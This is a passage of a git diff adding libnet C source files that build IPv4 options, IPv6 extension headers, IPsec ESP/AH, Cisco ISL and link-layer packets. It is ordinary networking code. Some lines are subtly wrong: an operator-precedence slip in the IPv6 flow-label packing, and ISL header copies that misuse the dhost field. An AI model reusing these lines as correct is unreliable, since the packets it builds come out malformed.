+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_ipv4_options(u_int8_t *options, u_int32_t options_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ int offset, underflow;
+ u_int32_t i, j, n, adj_size;
+ libnet_pblock_t *p, *p_temp;
+ struct libnet_ipv4_hdr *ip_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ underflow = 0;
+ offset = 0;
+
+ /* check options list size */
+ if (options_s > LIBNET_MAXOPTION_SIZE)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): options list is too large %d\n", __func__, options_s);
+ return (-1);
+ }
+
+ adj_size = options_s;
+ if (adj_size % 4)
+ {
+ /* size of memory block with padding */
+ adj_size += 4 - (options_s % 4);
+ }
+
+ /* if this pblock already exists, determine if there is a size diff */
+ if (ptag)
+ {
+ p_temp = libnet_pblock_find(l, ptag);
+ if (p_temp)
+ {
+ if (adj_size >= p_temp->b_len)
+ {
+ offset = adj_size - p_temp->b_len;
+ }
+ else
+ {
+ offset = p_temp->b_len - adj_size;
+ underflow = 1;
+ }
+ }
+ else
+ {
+ /*
+ * XXX - When this completes successfully, libnet errbuf contains
+ * an error message so to come correct, we'll clear it.
+ */
+ memset(l->err_buf, 0, sizeof (l->err_buf));
+ }
+ }
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, adj_size, LIBNET_PBLOCK_IPO_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ /* append options */
+ n = libnet_pblock_append(l, p, options, options_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ /* append padding */
+ n = libnet_pblock_append(l, p, "\0\0\0", adj_size - options_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if (ptag && p->next)
+ {
+ p_temp = p->next;
+ while ((p_temp->next) && (p_temp->type != LIBNET_PBLOCK_IPV4_H))
+ {
+ p_temp = p_temp->next;
+ }
+
+ /* fix the IP header size */
+ if (p_temp->type == LIBNET_PBLOCK_IPV4_H)
+ {
+ /*
+ * Count up number of 32-bit words in options list, padding if
+ * neccessary.
+ */
+ for (i = 0, j = 0; i < p->b_len; i++)
+ {
+ (i % 4) ? j : j++;
+ }
+ ip_hdr = (struct libnet_ipv4_hdr *) p_temp->buf;
+ ip_hdr->ip_hl = j + 5;
+
+ if (!underflow)
+ {
+ p_temp->h_len += offset;
+ }
+ else
+ {
+ p_temp->h_len -= offset;
+ }
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, adj_size,
+ LIBNET_PBLOCK_IPO_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_ipv6(u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh,
+u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ libnet_pblock_t *p;
+ struct libnet_ipv6_hdr ip_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_IPV6_H + payload_s; /* size of memory block */
+
+ if (LIBNET_IPV6_H + payload_s > IP_MAXPACKET)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): IP packet too large\n", __func__);
+ return (-1);
+ }
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ip_hdr, 0, sizeof(ip_hdr));
+ ip_hdr.ip_flags[0] = 0x06 << 4;
+ ip_hdr.ip_flags[1] = ((tc & 0x0F) << 4) | ((fl & 0xF0000) >> 16);
+ ip_hdr.ip_flags[2] = fl & 0x0FF00 >> 8;
+ ip_hdr.ip_flags[3] = fl & 0x000FF;
+ ip_hdr.ip_len = htons(len);
+ ip_hdr.ip_nh = nh;
+ ip_hdr.ip_hl = hl;
+ ip_hdr.ip_src = src;
+ ip_hdr.ip_dst = dst;
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ip_hdr, LIBNET_IPV6_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /* no checksum for IPv6 */
+ return (ptag ? ptag : libnet_pblock_update(l, p, LIBNET_IPV6_H,
+ LIBNET_PBLOCK_IPV6_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_ipv6_frag(u_int8_t nh, u_int8_t reserved, u_int16_t frag,
+u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ u_int16_t h;
+ libnet_pblock_t *p;
+ struct libnet_ipv6_frag_hdr ipv6_frag_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_IPV6_FRAG_H + payload_s;
+ h = 0;
+
+ if (LIBNET_IPV6_FRAG_H + payload_s > IP_MAXPACKET)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): IP packet too large\n", __func__);
+ return (-1);
+ }
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_FRAG_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ipv6_frag_hdr, 0 , sizeof(ipv6_frag_hdr));
+ ipv6_frag_hdr.ip_nh = nh;
+ ipv6_frag_hdr.ip_reserved = reserved;
+ ipv6_frag_hdr.ip_frag = frag;
+ ipv6_frag_hdr.ip_id = id;
+
+ /*
+ * Appened the protocol unit to the list.
+ */
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ipv6_frag_hdr,
+ LIBNET_IPV6_FRAG_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ /*
+ * Sanity check the payload arguments.
+ */
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ sprintf(l->err_buf, "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ /*
+ * Append the payload to the list if it exists.
+ */
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /*
+ * Update the protocol block's meta information and return the protocol
+ * tag id of this pblock. This tag will be used to locate the pblock
+ * in order to modify the protocol header in subsequent calls.
+ */
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_IPV6_FRAG_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_ipv6_routing(u_int8_t nh, u_int8_t len, u_int8_t rtype,
+u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ u_int16_t h;
+ libnet_pblock_t *p;
+ struct libnet_ipv6_routing_hdr ipv6_routing_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* Important: IPv6 routing header routes are specified using the payload
+ * interface!
+ */
+ n = LIBNET_IPV6_ROUTING_H + payload_s;
+ h = 0;
+
+ if (LIBNET_IPV6_ROUTING_H + payload_s > IP_MAXPACKET)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): IP packet too large\n", __func__);
+ return (-1);
+ }
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_ROUTING_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ipv6_routing_hdr, 0 , sizeof(ipv6_routing_hdr));
+ ipv6_routing_hdr.ip_nh = nh;
+ ipv6_routing_hdr.ip_len = len;
+ ipv6_routing_hdr.ip_rtype = rtype;
+ ipv6_routing_hdr.ip_segments = segments;
+
+ /*
+ * Appened the protocol unit to the list.
+ */
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ipv6_routing_hdr,
+ LIBNET_IPV6_ROUTING_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ /*
+ * Sanity check the payload arguments.
+ */
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ sprintf(l->err_buf, "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ /*
+ * Append the payload to the list if it exists.
+ */
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /*
+ * Update the protocol block's meta information and return the protocol
+ * tag id of this pblock. This tag will be used to locate the pblock
+ * in order to modify the protocol header in subsequent calls.
+ */
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_IPV6_ROUTING_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_ipv6_destopts(u_int8_t nh, u_int8_t len, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ u_int16_t h;
+ libnet_pblock_t *p;
+ struct libnet_ipv6_destopts_hdr ipv6_destopts_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* Important: IPv6 dest opts information is specified using the payload
+ * interface!
+ */
+ n = LIBNET_IPV6_DESTOPTS_H + payload_s;
+ h = 0;
+
+ if (LIBNET_IPV6_DESTOPTS_H + payload_s > IP_MAXPACKET)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): IP packet too large\n", __func__);
+ return (-1);
+ }
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_DESTOPTS_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ipv6_destopts_hdr, 0 , sizeof(ipv6_destopts_hdr));
+ ipv6_destopts_hdr.ip_nh = nh;
+ ipv6_destopts_hdr.ip_len = len;
+
+ /*
+ * Appened the protocol unit to the list.
+ */
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ipv6_destopts_hdr,
+ LIBNET_IPV6_DESTOPTS_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ /*
+ * Sanity check the payload arguments.
+ */
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ sprintf(l->err_buf, "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ /*
+ * Append the payload to the list if it exists.
+ */
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /*
+ * Update the protocol block's meta information and return the protocol
+ * tag id of this pblock. This tag will be used to locate the pblock
+ * in order to modify the protocol header in subsequent calls.
+ */
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_IPV6_DESTOPTS_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_ipv6_hbhopts(u_int8_t nh, u_int8_t len, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ u_int16_t h;
+ libnet_pblock_t *p;
+ struct libnet_ipv6_hbhopts_hdr ipv6_hbhopts_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* Important: IPv6 hop by hop opts information is specified using the
+ * payload interface!
+ */
+ n = LIBNET_IPV6_HBHOPTS_H + payload_s;
+ h = 0;
+
+ if (LIBNET_IPV6_HBHOPTS_H + payload_s > IP_MAXPACKET)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): IP packet too large\n", __func__);
+ return (-1);
+ }
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPV6_HBHOPTS_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ipv6_hbhopts_hdr, 0 , sizeof(ipv6_hbhopts_hdr));
+ ipv6_hbhopts_hdr.ip_nh = nh;
+ ipv6_hbhopts_hdr.ip_len = len;
+
+ /*
+ * Appened the protocol unit to the list.
+ */
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ipv6_hbhopts_hdr,
+ LIBNET_IPV6_HBHOPTS_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ /*
+ * Sanity check the payload arguments.
+ */
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ sprintf(l->err_buf, "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ /*
+ * Append the payload to the list if it exists.
+ */
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /*
+ * Update the protocol block's meta information and return the protocol
+ * tag id of this pblock. This tag will be used to locate the pblock
+ * in order to modify the protocol header in subsequent calls.
+ */
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_IPV6_HBHOPTS_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_autobuild_ipv6(u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst,
+ libnet_t *l)
+{
+
+ /* NYI */
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): not yet implemented\n", __func__);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_ipsec.c b/libnet/src/libnet_build_ipsec.c
new file mode 100644
index 0000000..2cfa2bf
--- /dev/null
+++ b/libnet/src/libnet_build_ipsec.c
@@ -0,0 +1,232 @@
+/*
+ * $Id: libnet_build_ipsec.c,v 1.11 2004/01/21 19:01:29 mike Exp $
+ *
+ * libnet
+ * libnet_build_ipsec.c - IP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Copyright (c) 2002 Jose Nazario <jose@crimelabs.net>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+
+libnet_ptag_t
+libnet_build_ipsec_esp_hdr(u_int32_t spi, u_int32_t seq, u_int32_t iv,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_esp_hdr esp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_IPSEC_ESP_HDR_H + payload_s;/* size of memory block */
+ h = 0;
+
+ memset(&esp_hdr, 0, sizeof(esp_hdr));
+ esp_hdr.esp_spi = htonl(spi); /* SPI */
+ esp_hdr.esp_seq = htonl(seq); /* ESP sequence number */
+ esp_hdr.esp_iv = htonl(iv); /* initialization vector */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_ESP_HDR_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&esp_hdr, LIBNET_IPSEC_ESP_HDR_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_IPSEC_ESP_HDR_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ipsec_esp_ftr(u_int8_t len, u_int8_t nh, int8_t *auth,
+ u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+ libnet_ptag_t ptag)
+{
+ /* XXX we need to know the size of auth */
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_esp_ftr esp_ftr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_IPSEC_ESP_FTR_H + payload_s;/* size of memory block */
+ h = 0;
+
+ memset(&esp_ftr, 0, sizeof(esp_ftr));
+ esp_ftr.esp_pad_len = len; /* pad length */
+ esp_ftr.esp_nh = nh; /* next header pointer */
+ esp_ftr.esp_auth = auth; /* authentication data */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_ESP_FTR_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&esp_ftr, LIBNET_IPSEC_ESP_FTR_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_IPSEC_ESP_FTR_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_ipsec_ah(u_int8_t nh, u_int8_t len, u_int16_t res,
+u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_ah_hdr ah_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_IPSEC_AH_H + payload_s;/* size of memory block */
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_IPSEC_AH_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&ah_hdr, 0, sizeof(ah_hdr));
+ ah_hdr.ah_nh = nh; /* next header */
+ ah_hdr.ah_len = len; /* length */
+ ah_hdr.ah_res = (res ? htons(res) : 0);
+ ah_hdr.ah_spi = htonl(spi); /* SPI */
+ ah_hdr.ah_seq = htonl(seq); /* AH sequence number */
+ ah_hdr.ah_auth = htonl(auth); /* authentication data */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&ah_hdr, LIBNET_IPSEC_AH_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_IPSEC_AH_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_isl.c b/libnet/src/libnet_build_isl.c
new file mode 100644
index 0000000..a70f8af
--- /dev/null
+++ b/libnet/src/libnet_build_isl.c
@@ -0,0 +1,113 @@
+/*
+ * $Id: libnet_build_isl.c,v 1.9 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet
+ * libnet_build_isl.c - cisco's inter-switch link assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_isl(u_int8_t *dhost, u_int8_t type, u_int8_t user, u_int8_t *shost,
+ u_int16_t len, u_int8_t *snap, u_int16_t vid, u_int16_t index,
+ u_int16_t reserved, u_int8_t *payload, u_int32_t payload_s,
+ libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_isl_hdr isl_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ISL_H + payload_s; /* size of memory block */
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ISL_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&isl_hdr, 0, sizeof(isl_hdr));
+ memcpy(&isl_hdr.isl_dhost, dhost, 5);
+ isl_hdr.isl_type = type;
+ isl_hdr.isl_user = user;
+ memcpy(&isl_hdr.isl_shost, shost, 6);
+ isl_hdr.isl_len = htons(len);
+ memcpy(&isl_hdr.isl_dhost, snap, 6);
+ isl_hdr.isl_vid = htons(vid);
+ isl_hdr.isl_index = htons(index);
+ isl_hdr.isl_reserved= htons(reserved);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&isl_hdr, LIBNET_ISL_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /* we need to compute the CRC for the ethernet frame and the ISL frame */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ return (ptag ? ptag : libnet_pblock_update(l, p, LIBNET_ISL_H,
+ LIBNET_PBLOCK_ISL_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_build_link.c b/libnet/src/libnet_build_link.c
new file mode 100644
index 0000000..d0a31f1
--- /dev/null
+++ b/libnet/src/libnet_build_link.c
@@ -0,0 +1,90 @@
+/*
+ * $Id: libnet_build_link.c,v 1.9 2004/03/04 20:50:20 kkuehl Exp $
+ *
+ * libnet
+ * libnet_build_link.c - link-layer packet assembler
+ *
+ * Copyright (c) 2003 Roberto Larcher <roberto.larcher@libero.it>
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_link(u_int8_t *dst, u_int8_t *src, u_int8_t *oui, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+
+{
+ u_int8_t org[3] = {0x00, 0x00, 0x00};
+ switch (l->link_type)
+ {
+ /* add FDDI */
+ case DLT_EN10MB:
+ return (libnet_build_ethernet(dst, src, type, payload, payload_s, l,
+ ptag));
+ case DLT_IEEE802:
+ return (libnet_build_token_ring(LIBNET_TOKEN_RING_FRAME,
+ LIBNET_TOKEN_RING_LLC_FRAME, dst, src, LIBNET_SAP_SNAP,
+ LIBNET_SAP_SNAP, 0x03, org, type, payload, payload_s,
+ l, ptag));
+ default:
+ break;
+ }
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): linktype %d not supported\n", __func__, l->link_type);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_autobuild_link(u_int8_t *dst, u_int8_t *oui, u_int16_t type, libnet_t *l)
+{
+ u_int8_t org[3] = {0x00, 0x00, 0x00};
+ switch (l->link_type)
+ {
+ /* add FDDI */
+ case DLT_EN10MB:
+ return (libnet_autobuild_ethernet(dst, type, l));
+ case DLT_IEEE802:
+ return (libnet_autobuild_token_ring(LIBNET_TOKEN_RING_FRAME,
+ LIBNET_TOKEN_RING_LLC_FRAME, dst, LIBNET_SAP_SNAP,
+ LIBNET_SAP_SNAP, 0x03, org, TOKEN_RING_TYPE_IP, l));
+ default:
+ break;
+ }
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): linktype %d not supported\n", __func__, l->link_type);
+ return (-1);
+}
+
+/* EOF */
+
